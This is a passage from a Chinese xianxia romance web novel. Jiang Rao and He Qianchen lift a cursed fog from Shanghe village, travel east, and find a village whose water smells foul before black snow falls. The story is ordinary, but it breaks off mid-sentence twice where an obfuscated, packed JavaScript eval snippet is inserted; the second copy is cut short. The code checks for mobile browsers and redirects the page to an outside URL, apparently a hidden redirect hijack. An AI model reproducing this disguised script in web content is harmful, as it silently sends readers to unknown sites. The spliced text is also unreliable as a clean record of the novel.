姜桡则质问:“那上河村其他人呢?他们就应该死吗?” 谢山直接愣在原地,好一会才崩溃的大哭起来。 “可我只有阿婆了!” “我不想阿婆离开!” 趁着谢山分神时刻,姜桡垂眸轻声道。 “对不住了!” 说罢,她身形灵活且迅速的越到谢山身后,双手紧握雾花的花梗部分。 雾花虽无法用灵力攻击毁掉,但又亦如普通花草般,用手就可轻易的拔起来。 在离地的瞬间,雾花便迅速的枯萎起来,眨眼的功夫就融化在姜桡手里。 与此同时,连接在巨虎身上的黑气也随之消失,巨虎很快就被贺千宸手中桃木剑刺伤好几道口子,而后更是被一脚踢飞,狠狠的砸落在地面上。 笼罩在众人头顶的黑雾似是淡了些,甚至能感受到外面的日光正慢慢地钻进来。 巨虎身影缩小,半兽半人的余阿婆显现在众人面前,谢山立即冲了过去,直接跪坐在余阿婆的面前。 “阿婆!” 余阿婆似是察觉到了什么,她颤颤巍巍的伸出手,只是还没触碰到谢山,便化为一缕缕黑雾。 只见黑雾萦绕在谢山身侧,像是在告别,亦或者是不舍。 片刻才袅袅升入上空,混入那片如薄纱般的黑雾中。 谢山跪坐在地面,呆呆的抬头看着,身形也开始变得透明。 随着一阵清风袭来,便已消失不见。 姜桡想了想,才开口道:“他放弃投胎转世的机会。” 陆观棋有些诧异:“谢山是…是魂飞魄散吗??” 姜桡摇摇头:“不是。” 她目光落在不远处随风摇曳的花儿与草,然后伸出手感受微风的轻柔。 “哪天你看到一只鸟,或一片雪花,一条鱼,一片叶都可能会是他!” 这时一缕阳光透过已消散的黑雾,落在上河村的土地上。 贺千宸抬头看了眼,而后目光落在若有所思的姜桡身上。 他声音低沉而又温柔。 “雾散了!” 陆观棋与许念儿这才后知后觉反应过来,脸上都露出激动与开心的笑容。 贺千宸见姜桡还在发呆,便忍不住走过去。 “在想什么?” 回过神的姜桡望着头顶那湛蓝的苍穹,开口道。 “那朵雾花!” 16. 第十六章 雾花拔处之后,笼罩在上河村的黑雾才慢慢消散。 显而易见,两者之间肯定有莫大的关键。 姜桡甚至怀疑,那株雾花放大余阿婆心中的怨意与恶,给予她足够的养分,也让上河村彻底成为囚笼。 于是姜桡说出自己的疑惑,并问道。 “如果…我说如果。” “这种黑雾就像一场瘟疫,蔓延里界每个地方的话,该怎么办?” 贺千宸先是愣了片刻,虽觉得有些荒缪,但还是耐心的回答这个问题。 “里界有难,外界定会派人来解决。” 姜桡抬头看向站在自己身侧的男人,想了想又低下头,将本来要说的话给咽了下去。 她不能说的太多。 此时笼罩在上河村的黑雾已彻底消散,刺眼的阳光与湛蓝的苍穹,让还存活下来的人们看到了希望。 就在众人准备下山时,姜桡忽然想起来灵宝袋中那一截阴木。 那些孩童的亡魂还依附在里头,得放出来才行。 她寻个阴气重的地方,将阴木中的亡魂皆都一一释放出来。 只见亡魂像只只萤火虫般从阴木中钻了出来,向着前方的阴影中飞去,身影很快就消失不见。 许念儿看着亡魂消失的地方,忍不住问道。 “他们,是去投胎吗?” 姜桡点点头:“对!他们是去投胎。” 与此同时,活下来的村民在察觉没有危机后,才鼓起勇气从躲藏的地方走了出来,只是大多村民都已失去亲人,因此脸上并未劫后重生的喜悦,并悲痛的大哭起来。 有些不死心的村民则大声呼喊亲人们的名讳,可皆都没有得到回应。 四人刚下山,便见上河村一片愁云惨淡,活下来的村民似比死了还要痛苦。 姜桡停下脚步,她侧身看向许念儿,开口道。 “我们送你回家。” 许念儿低着头,她已经没了家,她想跟着姜桡姐姐,可做人不能太贪心。 自己什么都不会,只会拖后腿。 “谢谢…姜桡姐姐。” 陆观棋一眼就看出许念儿的难处,想着也是举手之劳,便直接开口。 “许念儿,要不要考虑当我侍女?” “活契,每月半贯钱如何?” 五个铜板是许念儿见过最多的钱,半贯钱则是她做梦都不敢想的存在。 许念儿不懂什么活契死契,她只是知道,自己只要点头同意,以后就不用饿肚子了。 “少…爷!” 这称呼让陆观棋十分满意的点点头。 “放心,以后小爷我罩着你。” 站在旁侧的贺千宸目光忍不住落在姜桡身上,刚听到要送许念儿回家时,他心里不由的感到欣喜。 “我还以为,你会带着她一起去寻人。” 姜桡则解释道:“我们有重要的事做,她跟着的话不好。” 她并不认为在寻找灭世魔头的路上会一帆风顺,若真碰见的话,定会大打出手。 没有任何自保能力的许念儿,自会陷入危险处境。 或许还有性命之忧! 这番话让贺千宸嘴角微微上扬,既是重要的事,却还愿意带着自己,他就知道自己在阿桡心里是与众不同的存在。 黑雾既然散了,许念儿也愿跟着陆观棋身边当侍女,姜桡得去别的地方寻找那灭世大魔头了。 她抬头对上贺千宸那满是笑意的眼眸,开口道。 “你等我问问路,然后就出发去寻人。” 贺千宸有些疑惑,他看着远处面露悲痛神情的村民们,想了想。 “这时候去问路怕不好吧!” 姜桡不解:“什么不好?” 说罢,她就朝前方走去,贺千宸犹豫片刻,然后默默的跟在身后。 陆观棋见状,连忙也带着许念跟了过去。 只见姜桡走到一棵大树前,垫起来脚尖,轻轻折下一节树枝,并将其放在竖着放在面前,嘴里嘀咕道。 “树呀树,请告诉我,接下来该朝哪个方向走?” 话音落后,姜桡闭上眼将手中的树枝朝空中丢去。 那一节树枝在空中翻滚,而后轻轻的坠落在地面上,姜桡才睁开眼睛,她蹲下身,右手撑着下巴,看着那一节树枝。 树梢正指贺千宸所站的方向,这结果也让姜桡焕然大悟,她伸手指向贺千宸,边站起来边激动道。 “我们要朝东边走!” 贺千宸:……… 半响,他才开口问。 “这是问路结果?” 姜桡信心满满的点点头:“放心,我问路从来不会出错的。” 下山时,她不知朝哪走时,也是选择了问路。 于是顺着树梢所指引的方向来到了这,捡到能帮自己寻人的“程千宸”不说,还看到梦境中出现的黑雾。 贺千宸去哪都无所谓,既阿桡说去东边,那就去东边。 “我自然信你!” 姜桡的嘴角瞬间露出两个浅浅的酒窝,那双杏眸则亮晶晶的看向贺千宸。 “那我也相信你!” 贺千宸听到这话微微一愣,脸上也不由多出几分笑意,他看向姜桡的目光温柔如水。 “相信我什么?” 姜桡想了想:“什么都相信。” 贺千宸只觉得自己心跳忽然间乱了节奏,先是短暂的停顿,而后猛烈跳动。 他下意识侧过身,来掩盖自己的异常,并轻声问道。 “我们先去镇上备些吃食,再出发可好?” 想到路上再也不用吃野果子了,姜桡开心的眼睛都弯成月牙儿。 “那多买些吃食备些!” 见两人准备朝前方城镇方向走去时,站在旁侧的陆观棋连忙将其拦住。 “程公子,姜姑娘,不如咱们一起结伴而行,碰巧我也要去东边呢。” 陆观棋是说了谎,他最不想去的地方就是东方。 可好不容易碰到两位外界的修真者,陆观棋说什么都要厚着脸皮,赖在他们的身边。 贺千宸没吭声,只是抬眸看向了姜桡。 姜桡则边摆手边摇头。 “不行,我们是要去寻人的,路上可能危险重重,你们若跟着一起,稍不留神就小命不保。” 陆观棋却道:“修行路上,哪有安稳二字!” 随即他目光落在贺千宸的身上,双手抱拳,半弯下腰。 “再者,我想拜程公子为师,也不知…” 可话还未说完,贺千宸就直接开口拒绝。 “我本为剑修,而陆公子似则更适合阵修,并不能教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582815|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你些什么?” “陆公子不如去往外界,相信在那你会有更好的抉择!” 陆观棋有些懊恼的挠了挠头,他当时想去外界。 只是。 陆观棋这次是从家里逃出来的,这不跟家里人说一声,就这样去往外界,那就太过于自私自利。 “多谢程公子,此事我会考虑的。” 而后,他话锋一转。 “姜姑娘,陆公子,与你们顺路应该没关系吧。” 好巧不巧,他家就在东边。 姜桡很认真的思索片刻,她觉得好像没关系,又好像有点关系。 最终,姜桡求助的看向贺千宸。 贺千宸抬眸,神色冷冽的审视了陆观棋一番,确信他没有怀揣别的心思后,才开口道。 “不知陆公子要去哪?” 陆观棋也没打算瞒着,便把自己离家出走的事说出来。 “你们可知东都,就是东边最繁华的城市,以宝石闻名,我家就在那!” 见陆观棋是真的顺路,贺千宸也不好婉拒,只能沉默。 毕竟这路也不是他修建的。 于是陆观棋就顺势带着许念儿,大摇大摆的跟在贺千宸与姜桡身后。 姜桡一边走一边蹙紧眉心,她伸手扯了扯贺千宸的衣摆,小声嘀咕道。 “好像有点不对,若到时候碰到危险可怎么办?” 没等贺千宸开口呢,陆观棋就在后头大声应道。 “姜姑娘放心,一有危险,我就带着许念儿跑,绝对不会给你们拖后腿。” 姜桡:……… 贺千宸有些无奈道:“就算我们不同意,那人也会偷偷摸摸跟在我们身后,到时候更麻烦。” 被猜中心思的“那人”也不尴尬,他似是想到什么,侧身跟着身边的许念儿嘀咕起来。 “待会去城里头,少爷我得先给你置办几套行头,最好再找个客栈,把身上这些污渍都给我搓干净。” “对了,许念儿这个名不好听,把儿去掉,以后就叫许念。” 许念听话的点了点头。 两人对话被贺千宸听个正着,他默不作声看向远处城镇的城墙,而后又侧目看了眼走在身边的姜桡。 沉默许久,贺千宸才鼓起勇气道。 “阿…阿桡,待会给你买几套新衣裳可好?” 姜桡摇摇头,并伸手指了指挂在腰间的灵宝袋。 “我师傅给我备了好些新衣裳。” 她想了想又道:“明天就换给你看!” 原本心情有些低落的贺千宸在听到这话时,脸上瞬间多了几分笑意。 “好!” 四人就这样一前一后的朝着前方城镇走去,阳光将他们的影子拉的极长。 本打算买些吃食就出发,可等买的差不多时,夜幕已渐渐拢了下来,整片苍穹也都染上淡紫色。 贺千宸索性提议,不如先寻个客栈住上一晚,明日出发也不迟。 这刚进客栈,小二就满脸笑意的迎了上来。 “四位客官可是要住店?” 贺千宸瞥了眼身后的陆观棋:“我们与他们并非一起!” 小二连忙赔罪:“是小的看走了眼,不知客户要几间房?” 贺千宸:“两间。” 姜桡:“一间!” 17. 第十七章 两人几乎是异口同声,可给予的答复却并不相同。 贺千宸耳根子红的厉害,他垂眸看向满脸不解的姜桡,并耐心解释道。 “房间内就一张床,两个人睡不下。” 从没住过客栈的姜桡,立即露出恍然大悟的神情,她连忙看向旁边小二。 “那我们要两间房。” 贺千宸边从灵宝袋掏出银钱,边开口嘱咐道。 “还麻烦待会送些热水上去。” 看到银钱的小二乐的眼睛都眯了起来:“好嘞!客官,一间房五十文,两间便是一贯钱。” 身后的陆观棋则直接掏出一粒鹌鹑蛋大小的碎银,他将其放在柜房上,十分豪气道。 “也要两间上房,余钱就不用找了。” 小二听到这话后,那张脸都差点没笑烂,他半弯着腰,毕恭毕敬的走在前面。 “四位客官,还劳烦随小的上楼。” 从来没住过客栈的姜桡正好奇的打量着四周,客栈二楼空间很开阔,而长长走廊两侧各有五间空房。 她与贺千宸房间相领,而陆观棋与许念房间在两人对面。 四人因上河村一事早就疲倦不堪,陆观棋舒舒服服泡个热水澡就躺在床上呼呼大睡,许念从未在这种地方住过,整个人显的十分拘束与不安,她抱着暖和柔软的被子坐在床里头,最终敌不过倦意,才慢慢的进入梦乡。 月色中天,夜色融融,轩窗外的嘈杂声不知何时淡去,四周开始静寂下来,时不时只听见几声虫鸣,显得单调且枯燥。 “咚咚咚。” 昏昏欲睡的姜桡忽被敲窗声给惊醒,她伸手捂嘴轻轻打个哈欠,才起身走过去。 刚靠近,就听到窗外传来贺千宸的声音。 “阿桡,是我!” 姜桡神情有些诧异,她盯着窗外倒映出的人影,又侧身看向身后的门。 虽不理解“程千鹤”为什么这么做,但犹豫片刻,还是打开了轩窗。 细碎的月光落在两人身上,姜桡只穿一件白色里衣,那乌黑长发如瀑布般散落身后,漂亮的小脸上露出疑惑的神情,她歪着头看着蹲在屋檐上的贺千宸。 而贺千宸身着黑色长袍,同色发带系着高高马尾辫,几缕发丝正随风飘动着,头顶上的小乌云也没精打采的。 他见姜桡只穿一件单薄的里衣时,脸腾地红了起来,眼睛立马看向别处。 姜桡以为贺千宸睡不着,便挪了挪身体,让出一个空位出来。 “你是要跟我一起睡吗?” 这话让贺千宸的脸红的更厉害,他动作轻巧的翻进屋内,然后轻声说出自己的来意。 “明日我们…偷偷的…早些出城。” 姜桡愣了愣:“为什么要偷偷的?” 她见贺千宸眼睛一直看向别处,忍不住蹙紧眉心。 “你为什么不看着我?” 姜桡有些生气的踮起脚尖,双手放在贺千宸的脸颊上,试图将他脑袋搬正过来。 贺千宸在感受脸上那柔软且温暖的触觉时,整个人瞬间僵在原地,待回过神后,立即露出几分慌乱的神情。 他只能转移话题道。 “明天我们先走,所以要偷偷的,还要趁早。” 姜桡这才后知后觉的反应过来,她把手放了下来,并好奇问道。 “我们不等陆观棋与许念吗?” 贺千宸摇了摇头。 ”防人之心不可无。” 他不确定今日陆观棋是否有说谎,只是贺千宸被人背叛过一次,因此会谨慎许些。 姜桡垂眸沉思片刻,才缓缓道。 “我师傅也说过这样的话,只是不告而别,这样不太好吧!” 贺千宸低头轻咳一声。 “我留了书信!” 翌日,陆观棋舒舒服服的从睡梦中醒来后,刚推开房门,就瞧见一名清秀的小姑娘站在那,吓得他一哆嗦。 “你谁呀?” 许念将贺千宸留下来的那封书信,伸手举到陆观棋面前,小声回应着。 “少爷,我是许念。” “这是…程公子…留下的…书信。” 陆观棋边接过书信边嘀咕道:“洗干净后一下子没认出来。” 可等拆开所谓书信,看着上面龙飞凤舞几个字后,脸上刚露出笑意直接僵住。 此时城东外的小路上,身着粉色纱裙,梳着单侧麻花辫的姜桡,双手各拿一个冰糖葫芦,她低头咬下一棵亮晶晶的果子,满脸笑意的跟在贺千宸身后嚼着。 等吃完一串,她才想起来自己要问的事。 “你书信中写了什么呀?” 贺千宸也没打算瞒着,说出书信中的内容。 “有缘再见!” 姜桡感觉这话还挺有道理的,所有遇见皆为因果。 所有缘分的话,不用顺路,也终会相见的。 她将剩下的那串糖葫芦递到贺千宸面前。 “吃!” 再不吃,自己可就要全部吃完了! 贺千宸脸上露出几分笑意,看着沐浴在阳光下的姜桡,带着自己都未察觉的宠溺语气道。 “都给你吃!” 姜桡眼睛一亮,但想着好东西要跟自己人分享,便将手中的糖葫芦朝贺千宸嘴边送了送,并一脸坚定。 “要一起吃!” 贺千宸只能无奈的咬下一颗被糖衣包裹的山楂,入口的瞬间,甜腻的味道立即占据味蕾,直至蔓延到心坎里。 姜桡期待问道:“是不是很好吃!” 贺千宸轻“嗯”的声。 “很甜!” 姜桡这才收回只剩下四颗晶莹剔透的糖葫芦,她放在嘴边咬下一小半,嘴里边嚼着边伸手扯着贺千宸衣角。 “我们快些赶路。” 希望能在下个城镇能找到贺千宸,或者是关于他的一些线索。 贺千宸很听话的走在前面,而盘旋在他头顶的小乌云,似是察觉到他开心的情绪,体型迅速扩大几倍。 姜桡见状,故作惊讶一声。 “程千鹤,你头顶有片叶子,快低头我帮你摘下来!” 贺千宸也没怀疑,停下脚步乖乖的弯腰低头,而姜桡则狠狠的用手指戳了戳小乌云,示意它老实些,然后随意扒拉了一下。 “叶子摘下了,我们继续赶路吧!” 被戳的小乌云体积瞬间缩小,奄奄的躺贺千宸头顶上。 阳光落在两人身上,折射在地上的影子 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姜桡的声音让贺千宸从回忆中抽离出来,他抬头看向远方湛蓝的苍穹,嘴角微微上扬。 “好!” 两人赶路的步伐算不上快,一路上走走停停,太阳从东边升起,眼下又坠落山谷,飞溅出红色的血迹,晕染了半山苍穹,姜桡的头上也多了一顶花环。 见前方没有村落炊烟的痕迹,贺千宸便提议先暂住野外。 姜桡住野外算是习以为常,何况把天做幕,把地当席,也没什么不好。 趁着天色还未暗下来,姜桡正准备去捡着干柴火回来,只是还未行动就被贺千宸给阻止住,他从灵宝袋中掏出一盒用牛皮纸包好的豌豆黄,并将其放到姜桡的手心里。 “在这坐着等我回来就行,饿了的话就吃着糕点垫垫。” 姜桡诧异的看着手中糕点,那张漂亮的小脸瞬间露出灿烂的笑意,颊边露出两个浅浅的酒窝,那模样比远处的晚霞还要动人。 “谢谢阿鹤!” 等贺千宸起身去寻干柴火时,姜桡则开心的拆开牛皮纸,看着那小巧诱人的豌豆黄时,嘴角情不知的向上仰起。 在吃掉第三块豌豆黄时,远处正走来三名头发凌乱,全身脏兮兮的壮汉,看起来似是从哪逃出来的难民。 他们在瞥见丛林中那抹粉色纱裙时,一时间还以为看花了眼,都不由的伸手揉了揉眼。 因夜色问题,三人看得不是很清楚,也不知想起了什么,他们脸上忽然露出惊恐的神情,纷纷惨叫一声后,急忙连滚带爬的朝前跑去,就好像看到极其恐惧的东西。 正拿着一块豌豆黄的姜桡看到这一幕不由陷入沉默,她先环顾四周,没发现什么异常后,又伸手捏了捏自己的脸。 等贺千宸抱着一堆干柴火回来,就看到姜桡坐在那发呆,夕阳的余光落在那张精致的脸上,微风勾着那粉色纱裙起舞着,宛如落入凡尘的仙子。 “阿鹤!” 这时姜桡茫然的抬起头,她有些疑惑道。 “我生的是不是很丑?” “有三个人刚刚好像被我吓跑了!” 18. 第十八章 等贺千宸听完事情的前因后果后,只觉得那三人行为有些反常,就算光线昏暗,让人容易晃了眼,也不至于吓到逃跑。 除非在此之前,他们看到什么恐惧的东西! 贺千宸从未哄过人,话在脑子里过了好几遍,才笨拙的开口安慰着。 “阿桡不难看!” 说完这五个字,他的耳根子悄悄地红了起来,好在夜色渐浓,让人瞧不出来。 姜桡并没有因“自己吓跑路人”的事而感到不开心,但在听到贺千宸安慰时,心里却莫名的欢喜。 她有些骄傲的“嗯”了声,然后端着牛皮纸包好的糕点走上前,伸手捏起其中一个豌豆黄到贺千宸嘴边。 “你也吃!” 其实这样的话,姜桡也从师傅嘴边听到过,她说。 阿桡不难看,阿桡是灵族生的最好看的孩子! 贺千宸一路上被投喂习惯了,他没再拒绝,而是低头含住面前的豌豆黄。 两人丝毫没有觉得这行为过于的亲昵。 等贺千宸生起火后,他熟练的从灵宝袋中掏出刚刚处理好的两条鱼一只野鸡,并将其放在火堆上烤。 这都是特意从河里抓的,草丛里打的。 贺千宸还担心处理场景会让姜桡感到不适,就处理好再塞进灵宝袋中。 肉香很快就飘散出来,鸡皮的油脂被大火烤了出来,发出“滋滋滋”的声响。 姜桡虽身为灵族,但除了果子外,肉也是会吃的。 只不过她自己弄得难以下咽,这才一直靠果子充饥罢了。 闻着香喷喷的肉味,姜桡咽了咽口水,看向贺千宸的眼神更是满满的崇拜。 而随着夜深,丛林除了虫鸣声外,四周显得十分静寂。 吃饱喝足的姜桡有些犯困的坐在贺千宸身边,贺千宸边朝火堆里丟柴火,边开口。 “今晚我来守夜。” 姜桡连忙摇摇头:“我喊帮手来守夜就行!” 就在贺千宸疑惑帮手是谁时,只见姜桡大拇指食指呈圆形相连,随即放在嘴里用力一吹。 响亮的狼哨声瞬间响起,并朝着丛林中散去。 没多久,五条野狼从黑暗中缓缓走了过来,那双冒着绿光的兽眸正紧紧的盯着两人,贺千宸下意识挡在姜桡面前,正准备动手时,却被姜桡开口阻止。 “放心,它们是过来帮我们守夜的!” 话音落后,五条野狼便以扇形散开,它们隐蔽在黑暗中,警惕的观看着四周。 贺千宸在震惊姜桡御兽的本事后,忍不住怀疑姜桡口中的师傅是不是误人子弟。 修真者各修其道,大多都是单修一道,方可专心致志突破境界。 而外界则将境界划分为三九等。 先是纳灵三品,问玄三品,破虚三品,这三品又分为三阶,突破第三阶后才能晋升到下个境界。 而破虚三品之后就是九品之境。 九品之境则划分为两大境界,分为法天有三,象地为六。 这法天境界号为真人,象地境界是为尊者,且只有象地之上境界者,才可破天门化羽成仙。 他主修剑道,因天生剑骨缘故,本是破虚三品剑修,却因灵剑折断,重伤坠入里界,境界才跌到问玄三品。 但贺千宸在姜桡身上看到药修,音修与御兽这三种本事,主修三道跟主修一道比较,自是前者较为艰难,甚至影响境界。 可他不好开口问,只能在心里暗暗发誓,自己定要回到破虚三品境界。 这样才能保护好阿桡! 贺千宸肩头忽然一重,他侧目看去,才发觉阿桡不知何时睡了过去,整个人正靠在自己身上。 于是贺千宸就这样僵坐着,直至天色渐明,晨曦透过层层叠叠的树叶折射下来,落在两人的身上。 晨风带着几分寒意轻轻掠过,原本围着他们的那五条野狼也不知何时消失不见,火堆依旧发出微弱的火光,挣扎片刻才黯淡下来。 从睡梦中醒来的姜桡,神情略微迷茫的坐起身来,好半会才清醒过来。 她下意识寻找贺千宸所在的方向,见他就在自己旁边,就直接凑上前。 “昨晚睡得好吗?” 姜桡贴的很近,近到让贺千宸有些不知所措,耳廓渐渐发红,发烫起来。 他眨了眨眼,并没说一夜未眠,而是撒谎道。 “睡得很好!” 姜桡弯起漂亮的眸子:“我昨晚也睡得很好!” 说罢,她就站起身,先拍了拍沾在衣裙上的枯叶,再给两人施个清洁术。 而贺千宸起身将火堆熄灭掉,抬头望向太阳升起的方向,也不知还要走多久,才能抵达下一个城镇。 “阿桡!” 他开口问:“若下个城镇还没有寻到人呢?” 姜桡想都没想就道。 “问路,继续找,总能找到的!” 她忽警惕起来,狐疑的看向贺千宸,这人该不会后悔了,不愿陪自己寻人吧。 贺千宸连忙表明自己的决心。 “阿桡不管去哪寻人,我都会陪着的!” 姜桡瞬间松口气,并学着师傅平时对灵族幼崽那般,伸手轻轻摸了摸贺千宸的额头。 只是贺千宸太高了,她得踮起脚尖才行。 这种抚慰动作让贺千宸直接愣住,他忍不住轻笑的低下头,好让阿桡不用那么吃力。 在确定火堆完全熄灭后,两人就继续朝着东边小路出发。 一路上姜桡像只快乐的百灵鸟,话说个不停,贺千宸嘴角含笑的听着,眼底满是宠溺,时不时回应着姜桡的问题。 伴随立夏的来临,午时的阳光也逐渐炎热起来。 路径两侧不知何时出现田地,那黑色泥土内布满一颗颗绿色嫩芽,它们舒张着身体,尽力的吸收土壤中的养分。 远处隐隐约约可见用石泥糊成的房屋,正不规则的坐落在道路的两侧。 贺千宸提议:“要不要寻户人家先歇歇脚?” 姜桡正好奇的打量着那些黑色泥土,听到这话后,便轻轻“嗯”了声。 此时屋檐徐徐轻烟回旋上升,直至半空被风卷散。 两人刚走到村里头,就碰到一名蹲坐在院中择菜的婶子,那婶子对生面孔的外乡人早就见怪不怪,但却从未见过生得如此好看的人,就好像从画里出来似的。 “是想进屋歇歇脚?进来吧!” 张大娘喜欢相貌好看的人,她 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“两位要是不嫌弃,就在这用个饭吧!” 还不等姜桡与贺千宸开口拒绝,张大娘就提着菜篮子去了厨房。 银花悄悄抬眸看了眼姜桡,心里忍不住感叹,面前的女子生的可真好看,而旁边的男子俊朗的像块玉 两人在屋里站着,感觉这屋子都变得不一样了。 银花轻声问道:“你还要摸摸他吗?” 姜桡点点头,她伸出手放在银花那隆起的肚皮上,而后清晰的感觉到那里头正在孕育一个新的生命。 许是灵族都从灵树中诞生,所以这对姜桡来说,是如此的神奇。 只是。 这个新生命好像很虚弱,但又莫名的顽强。 就好像一颗正在努力破土的树苗! “咳咳咳咳!” 不等姜桡感到疑惑,银花突然剧烈咳嗽起来,她侧过头捂着嘴,连咳七八下才停歇下来。 张大娘对此似见怪不怪,也没出来查看,依旧在厨房里忙活着午时的饭菜。 银花有些不好意思道:“吓到你了吧。” 姜桡摇摇头。 而就在这时,厨房内的张大娘也开始咳嗽起来,症状跟银花一模一样。 许是怕两人误会,银花先沉默了半响,才缓缓开口道。 “你们别怕,其实这并不是什么病,只是诅咒罢了。” 她说这话时,目光看向门外的青山,手则轻轻抚摸那隆起的肚皮。 姜桡有些诧异:“诅咒?” 如果是诅咒的话,那为何她没察觉到一些异常呢? 银花轻“嗯”了声。…… “我们惹怒了山神,所以山神降下了惩罚,因此村中孩童每到五岁,就会咳嗽不停,直至成年亦或者死去。” “更有甚者,骨头突然弯曲变形,浑身疼痛甚至牙齿颜色都发生改变,成为一个人不人,鬼不鬼的模样!” 站在旁侧的贺千宸不由蹙紧眉心,从语气来看,此人不像是在说谎。 19. 第十九章 何况他幼时也曾听一名长者提起过,关于里界山神的传说。 天梯将里外两界划分开来,也区别了两界的不同。 外界修真者心无旁骛,只执着突破境界,登上天门,羽化成仙! 里界凡人安居乐业,所求所愿却是风调雨顺,家人平安,亦或者金榜题名,财源广进。 而后者在所求时,便会寻找可以寄托他们心愿的存在。 于是那些流淌千年的河流与耸立云端的高山,便成为被供奉的对象。 只到某天,山河有了意识。 神明就此诞生! 姜桡则十分好奇银花口中提起的山神发怒,师傅曾说过,河水喜怒无常,因此神明的脾性也各有不同。 唯有山是例外,它们有着深邃的智慧,博大的胸怀,神明的脾性皆都十分宽容温和。 她开口问道:“山神为何发怒?” 银花却避而不谈。 就在这时,赵大娘端着香喷喷的饭菜走了进来,见木桌空荡荡的,忍不住嘀咕道。 “不是喊你倒两杯热茶吗?” 她将一大盆咸肉野菜闷饭放在桌上,然后拿起茶壶给姜桡与贺千宸倒喝茶。 冒着热气的水倾斜落入杯中,几分淡淡的茶香瞬间飘散开来。 可不知为何,姜桡却觉得那味道难闻极了,在张大娘递过来时,她连忙扯了扯贺千宸的衣裙,示意他先别喝。 只是这一幕碰巧被银花瞧见,被误以为是因为诅咒,从而嫌弃自家的东西,心里不由的冒出一团火,她毫不客气的对着两人冷哼道 “装模作样,瞧不起我家东西就走!” 姜桡连忙摇摇头,正在她不知道如何解释的时候,贺千宸轻声道。 “是我身体有疾,大夫不让饮茶,她方才是在提醒我。” “打觉了!” 说罢,他便拉着姜桡的手离开。 既茶水有些问题,就不能继续呆下去,张大娘想拦也不好拦,只能在后面解释道。 “两位心中别有气,这有身子女人脾气差。” 银花没吭声。 张大娘只能幽幽的叹口气:“我知你心里有怨,怨我的儿子明知你有孕,却又迟迟不归家。” “可没回来的又不是他一人!” 银花直接站起来身,饭都不吃就回隔壁的房间,那木门“嘭”的声被用力关上。 这些话被还未走远的贺千宸与姜桡听个正着,两人相互对视一眼,决定先离开这个有些奇怪的村子。 房屋是坐落在小路的两侧,也是就说姜桡与贺千宸要离开,就必须穿过这个村子。 亦如银花所说的那般,这个村子受到了诅咒,路上瞥见的大部分村民,他们的双腿或双手都呈弯曲变形模样。 贺千宸拉着姜桡手没放,直至走出那个村子,寻了个阴凉地方停下来,才后知后觉的反应过来,耳尖瞬间羞红。 他依依不舍松开手,而后问道。 “那茶水有问题?” 姜桡有些疑惑:“你没有闻到那茶水有股臭臭的味道” 贺千宸有些诧异的摇摇头,虽然他闻到的是淡淡茶香味,但依旧相信阿桡没有说谎。 茶水发臭,只有两种可能。 一则水,二则茶。 姜桡抬头看向正在沉思的贺千宸,忍不住问道。 “阿鹤刚刚为什么说自己身体有疾,不可饮茶?” “直接告诉她们茶水有问题不行吗?” 贺千宸只能耐心解释。 茶水中臭味他都没闻见,更何况是没有修行的凡人。 若直接开口说那茶水有股臭味,反而让人误会是嫌弃茶水不好。 她们压根就不会在意你说什么,更不会相信茶水臭这件事。 再者事情蹊跷,先离开才是上上策。 听完贺千宸这番话后,姜桡这才恍然大悟,原来是这样呀。 不过。 姜桡继续问道:“阿鹤你说,那水发臭会不会跟山神发怒,所降下来的诅咒有关系?” 贺千宸有些不解:“为何笃定是水的问题,而不是茶叶问题?” 姜桡舔了舔嘴角:“你还记得端上来那盆看起来很好吃的饭吗?” 贺千宸:……… 他轻嗯了声:“记得。” 姜桡幽幽的叹口气:“闻起来也有股臭味。” 贺千宸立马就明白了。 若是茶的问题,那盆饭是不可能有臭味,可若是水的问题,那这一切就说的通。 他忽想到一个极其细思极恐的事。 “阿桡,既然水有问题,长期饮用的话,身体会不会……” 贺千宸并未把后面的话说出来,但姜桡也懂他的意思。 姜桡想到那个虚弱却又很顽强的小生命,于是一脸坚定。 “我们得折回去,告诉她们这件事才行。” 贺千宸并不反对姜桡所做出的决定,哪怕她要杀人灭口,自己都会帮其放风与处理尸体。 只是在两人准备赶回去时,空中忽飘起一片片雪花,且不说季节不对,诡异的是落下来的雪花竟都是黑色的。 这仿佛像是个警告,劝他们莫要多管闲事。 姜桡愣了愣,她伸出手接住一片落下来的黑色雪花。 雪花触碰温热的掌心并未融化,而且散发一股难以言说的腐臭味。 “这跟茶水散发的臭味是一样的。” 姜桡说完就皱了皱眉,她从灵宝袋中掏出一把油纸伞,撑起来后,挡在两人的头顶上。 只不过贺千宸个头太高了,姜桡只能高高的举起来,才能将其罩在其中。 贺千宸记得这把伞,是他在绝望之时落入眼中的一朵花。 雨中逢花,世中逢尔。 贺千宸伸出手接过伞柄,下意识将大半伞身挪向姜桡。 他垂眸看着正在用力嗅嗅身上有没有臭味的姜桡,深邃的眼眸中盛满了温柔。 “还要去吗?” 姜桡抬起头,她眨了眨眼:“当然要去,哪怕真的是山神阻拦,我也要去!” 在快到立夏的阳光下,这场诡异的黑雪下得越来越大。 地面与周边的树叶不知何时已覆盖上一层浅浅的黑雪,而落在油纸伞上的黑色雪花则滑落下来。 说是雪花,其实更像是碳灰。 等两人赶回去时,很诡异的事情出现了,整片村子竟都消失不见。 姜桡忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贺千宸正小心翼翼的将油纸伞收回自己的灵宝袋中,抬头却见阿桡僵站在原地,他连忙上前关心问道。 “怎么了。” 姜桡伸手指向正前方:“那有不好的东西!” 贺千宸立马就警惕起来,他站在正前方,盯着姜桡所指的方向。 “我先去看看!” 姜桡伸手扯住贺千宸的衣角:“我们一起!” 